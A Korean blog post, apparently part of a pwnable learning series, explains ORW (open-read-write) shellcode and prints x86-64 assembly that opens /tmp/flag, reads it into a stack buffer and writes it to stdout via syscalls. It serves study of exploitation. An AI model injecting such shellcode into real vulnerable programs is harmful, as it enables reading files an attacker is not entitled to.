orw 쉘코드

동글래차·2023년 5월 25일
0

pwnable

목록 보기
1/9

orw 쉘코드?

  • orw 쉘코드란 파일을 열고, 읽은 뒤 화면에 출력해주는 쉘코드이다. (open-read-write)syscall

syscall

  • syscall(systemcall)이란 시스템 호출(system call)은 운영 체제의 커널이 제공하는 서비스에 대해, 응용 프로그램의 요청에 따라 커널에 접근하기 위한 인터페이스이다.
  • orw에서 필요한 syscall

실습 /tmp/flag 읽어오기

1. open(파일 오픈)

    push 0x67  
    mov rax, 0x616c662f706d742f  
    push rax  
    mov rdi, rsp ; rdi = "/tmp/flag"  
    xor rsi, rsi ; rsi = 0 ; RD\_ONLY  
    xor rdx, rdx ; rdx = 0  
    mov rax, 2 ; rax = 2 ; syscall\_open  
    syscall ; open("/tmp/flag", RD\_ONLY, NULL)  

2. read (파일 읽어오기)

    mov rdi, rax ; rdi = fd : rax에 반환된 file dscriptor rdi에 저장  
    mov rsi, rsp  
    sub rsi, 0x30 ; rsi = rsp-0x30 ; buf : 버퍼 크기 증가  
    mov rdx, 0x30 ; rdx = 0x30 ; len : syscall 인자로 넘겨줄 버퍼크기 설정  
    mov rax, 0x0 ; rax = 0 ; syscall\_read  
    syscall ; read(fd, buf, 0x30) : syscall  

3. write (파일 출력)

    mov rdi, 1 ; rdi = 1 ; fd = stdout : 레지스터 stdout으로(출력) 설정  
    mov rax, 0x1 ; rax = 1 ; syscall\_write  
    syscall ; write(fd, buf, 0x30) : syscall  
profile
동글동글

0개의 댓글